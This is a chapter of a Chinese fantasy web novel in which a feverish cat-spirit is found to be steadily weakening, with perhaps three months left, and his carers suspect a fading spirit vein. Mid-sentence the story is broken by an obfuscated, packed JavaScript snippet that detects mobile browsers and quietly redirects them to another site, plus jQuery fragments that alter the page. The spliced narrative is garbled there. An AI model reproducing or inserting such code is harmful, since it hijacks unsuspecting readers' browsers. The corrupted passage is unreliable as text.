57. 诊断
作品:《为什么小猫会出现在我家门口?》 回照城的路上秋荷与池夜雨交替开车,后半程秋喵喵又开始发烧,秋荷到后座陪着他,池夜雨一口气开了五个钟头,傍晚时分抵达了小区楼下。
小区一如既往,没有任何的变化,天空飘着云朵,路上尚在假期的行人悠闲散漫。
电梯抵达十六楼东户,秋荷在包里翻找钥匙,顺便轻轻摸了摸红莲小烛。
进门没多久,胡霁雪和冷凇的电话打了过来,说还有半个多小时就能到。
秋荷将秋喵喵安顿在床上,不安地抚摸他的额头:“你还好吗?”
不用小猫回答她就知道答案,秋喵喵整个“人”都缺少血色,甚至缺少光泽,像是褪色了一样,暗淡到毫无生气。
秋喵喵发烫的手握住秋荷的手,拉到脸颊边压着。
“我明明很少生病的,我等你的那几年从来不生病,怎么好不容易找到你了,却光躺床上了。”秋喵喵很是沮丧,”我是不是又给你添麻烦了?”
“你乱想些什么呢?”秋荷捏了捏小猫烧得发烫的脸,“这算不上什么麻烦,毕竟你是我的小猫啊,我照顾我的小猫难道不是理所当然吗?”
小猫歪了歪脑袋,嘴巴埋进了秋荷手心,舔了舔她的手心:“可是——”
“没什么可是,”秋荷稍稍俯下身子,注视秋喵喵的灰绿眼眸,“你来到我身边,无论如何我都不会觉得麻烦的,你都不知道——”
她轻声说道:“你没来找我之前,我有多么孤单。”
彼时她一个人飘零照城,没有朋友没有熟人,除了办公室工作交接外,一天到晚说不了一句话。起初孤单无聊到觉得一切毫无意义,无缘无故的悲从中来眼泪横流,后来渐渐麻木了,行尸走肉般的每一天,感受不到阳光,感受不到微风,一切僵硬冷漠,她也僵硬冷漠,直到——
一个雷雨天,她在楼道发现了一只湿漉漉的小猫。
她很难描述出小猫到来后产生的一系列连锁反应,他会毫无顾忌的拥抱她,会没有任何条件的百分百支持她,会没有任何理由毫不保留的喜爱她,她死寂的生活出现了缺口,自由清新的风纷纷涌入,干涸的土地上又有了春天。
“喵喵,或许你都想象不出来你的出现对我有多重要,”秋荷认真说,“我怎么可能会把你当做‘麻烦’呢?我怎么舍得呢?”
秋喵喵小声嘟囔:“……我以为我只是一只猫而已。”
“而已?远远不止!是我的猫,我最喜欢,最牵挂的,我去哪儿都会带着的。”
秋喵喵细长的眼睫轻轻颤动了几下,瞪大了双眼,脸庞浮现出天真灿烂的笑容,如果不是他现在浑身不舒服,他会跳起来抱住秋荷,把她摁在床上,狠狠地舔舐,用猫的方式标记占有,从此不许任何人或猫或者别的什么染指。
“太好啦!我也永远不想离开你,从我找到你的那一刻我就这样想的。”秋喵喵有些激动地对秋荷说。
秋荷笑了:“我也希望你永远在我身边,真的。”
屋外响起了门铃声,秋荷走出次卧时池夜雨先到了到门口,一开门,胡霁雪风一般冲了进来,死死抱住了池夜雨:“你总算还活着!”
“我当然还活着,不然怎么了,死了?”
胡霁雪依然抱住他,声音很是严厉:“少胡说八道!”
“如果你再继续抱得这么紧的话,我猜也就快了。”池夜雨假装窒息。
闻言胡霁雪猛地松开了池夜雨,池夜雨则与冷凇交换了视线,大笑起来。
“你们两个!”胡霁雪面有愠色,冷凇立马止住笑,而池夜雨仍旧。
秋荷不得不承认,胡霁雪迈进这间房子的一刹那,整间屋子都因为她的到来而亮了一个度。泛着光泽的波浪长发,近乎完美的五官身材,走到哪儿便辉映光照到哪儿,即便站在破烂堆里,也会能把破烂衬托成后现代艺术的代表作。
胡霁雪与冷凇还有池夜雨三人站在玄关,看上去无比的和谐,如果故事里有什么三人主角团,秋荷觉得就会是他们三个这样。
秋荷心中忽然升起了一种莫名的恐惧,就好像学生时代的体育课上,老师让大家分组练习,不论三人还是两人,她总是那个莫名其妙落单的那个。
池夜雨他们没有闲聊太久,毕竟胡霁雪与冷凇来的原因是为了小猫。他们挤进次卧,围着小猫站成一排,投下成块的阴影。
秋喵喵瑟缩了一下,尤其是看到胡霁雪手里的银针后。
“我想我应该给喵喵进行一个全面的检查,”胡霁雪对看上去很担心的秋荷说,“很快的,而且也不会疼。”
话音未落她就抓起秋喵喵的手,银针一刺,血珠低落到一张符纸上。
“这是检查他身体里有没有什么难以察觉的暗伤。”胡霁雪解释,“虽然我觉得以我的把脉技术而言,应该不至于发现不了,不过为了保险起见嘛。”
她又分别拉起秋喵喵的左右手,用古怪的方式把脉,眉头皱起,半晌又从包里找出一个听诊器,但她没听小猫心跳,而是将听诊器贴到了小猫肚子上丹田的位置,愈听眉头皱得愈紧。
最后,她抓起方才那张滴了血的符纸,仔细端详起来。
在秋荷看来,那就是一张普通的沾了滴血的纸,平平无奇,但随着胡霁雪手指在上面滑动,血液氲散成了一只猫的形状,胡霁雪皱眉盯着猫,看了很久,又挥动手指,血迹又凝成了人形。
胡霁雪凝望良久,最后将符纸丢给了池夜雨,池夜雨掌心变出蜡烛,火舌吞噬了符纸,不留一点痕迹。
秋荷忍不住问:“怎么样?喵喵他是怎么了?”
胡霁雪从新带来的药箱里找出一个瓷瓶,倒出了四五粒丸药,让秋喵喵吞服后卧床休息。
“我们出去详细说。”她对秋荷说,面色有些古怪。
四人在餐桌坐下。
“根据我的诊断,”胡霁雪说,“喵喵没有生病,也没有受伤,他的身体其实没有什么大问题。”
秋荷困惑:“那他是什么回事?最近太累了,还是去南方一趟他有些水土不服了?”
“有一定微弱的联系,但不是根本原因,他只是,”胡霁雪斟酌用词,“在不断衰弱,持续的,不间断的衰弱,衰弱一直存在,只是现在显现出来了。”
秋荷没有明白。
胡霁雪举了个例子:“大概就相当于一个池塘,水一直在流失,速度很慢,起初表面不会有任何变化,故而有人不会有人发现,而水流失的越来越多,各种严重现象纷纷出现,这时人们才会注意到,原来水在不断的流失。喵喵就是这样,他的衰弱已经到了支撑不住他的地步了。”
问题很严峻,秋荷立刻询问:“那怎么办?”
“我会给他开一些药方,缓解他身体的不适,但是对于这种不是由疾病受伤而引起的衰弱,草药不是治本之策,需要找到他不断衰弱的原因,否则——”
秋荷的心陡然悬了起来。
“至多三个月……”
胡霁雪没有说完整,但秋荷悬着的心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228604|177439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骤然坠地,坠得她也几乎倒下。
“三个月?”秋荷缓慢地眨眼,几乎不敢相信自己的耳朵听到了什么,“那该怎么寻找原因?”
胡霁雪摇头:“我之前也没见过这种情况,关于妖怪的诊断与治疗,留下的资料和信息都很少。”
秋荷又看向池夜雨,看向冷凇,两者也都是一样的震惊,一样的没有什么办法。
一众人陷入了沉默。
三个月,三个月……秋荷心底翻来覆去地念叨这个时间,胡霁雪的宣判来的太过突然,突然到她对此几乎缺乏实感。
“三个月……”她喃喃低语,“会不会,和宁城的灵脉有什么关系。”
她病急乱投医:“我记得夜雨好像说过,宁城的灵脉不断衰退,至多三个月,就会彻底无影无踪,这会不会跟喵喵的衰弱有关系。”
桌上其余三人神色一变。
“确实……有这种可能。”冷凇托着下巴思索道,“时间都是三个月,或许不一定只是巧合……”
“毕竟喵喵的化形也与灵脉密切相关。”池夜雨也认为秋荷的推断合理。
他和冷凇两个人展开了关于灵脉与妖怪形成的漫长学术交流,听得胡霁雪只想打哈欠,她冲着秋荷眨了眨眼,小声抱怨道:“两个书呆子可算是找着发言的机会了。”
秋荷勉强一笑,露出一个力不从心的笑容。
池夜雨与冷凇讨论了很多,但大致内容就是妖怪化形过程中,先天机缘、环境灵气固然重要,但往往也需要自身的修炼,修成后不会因为外界环境,也就是灵脉的变化而变化,而喵喵的化形,纯粹的机缘巧合,缺少了修炼这一步,但从这个角度来看,或许喵喵的衰弱确实与灵脉有关。
“你们有什么办法了吗?”秋荷满怀期待。
冷凇说:“这只是推断,之后我需要翻翻书查查资料,加以论证,然后再想办法,不过我觉得两者有关系的概率极大。”
“找到了喵喵衰弱的原因,就能找到医治的办法了吧?”
“很有可能哦,”胡霁雪说,“等我回去也要多翻翻书了,给妖怪治病实在太罕见了。”
原本毫无头绪近乎陷入绝境的事情忽然有了转机,桌上四人瞬间都轻松了不少。
秋荷作为主人,终于想起来那个招待客人的关键问题:“你们吃了吗?”
“当然没有!”胡霁雪转向池夜雨,“你去做饭,好不好?”
她脸上露出强烈的期待,以至于两只漂亮的大眼睛看起来水汪汪亮晶晶的,让任何人都难以忽视。
“好不好啊,好不好啊?”胡霁雪不断重复,近乎在撒娇,“我们都多久没一起吃饭了?”
“好吧,我做。”池夜雨勉为其难。
“好耶!”胡霁雪小小欢呼一声,拿起挂在厨房门上的围裙系上,“我给你打下手。”
“我也可以。”冷凇探头往厨房看了看,也挤了进去,“不过雨夜,你们的厨房会不会有点太小了。”
“冷大少爷,别用你家的厨房作为标准!”胡霁雪拿着锅铲敲冷凇脑袋,冷凇躲闪不迭,险些撞翻灶台上的锅。
“是啊,冷大少爷,”池夜雨随声附和,“你家厨房足以容纳百人外加一个交响乐团。”
“你们两个!”冷凇恼火又无奈。
三个相互间无比熟悉的人在厨房里互相开玩笑,默契的合作,秋荷感到身体里有什么东西在缓缓坠落,她似乎又一次感受到了那种落单的,无所适从的感觉。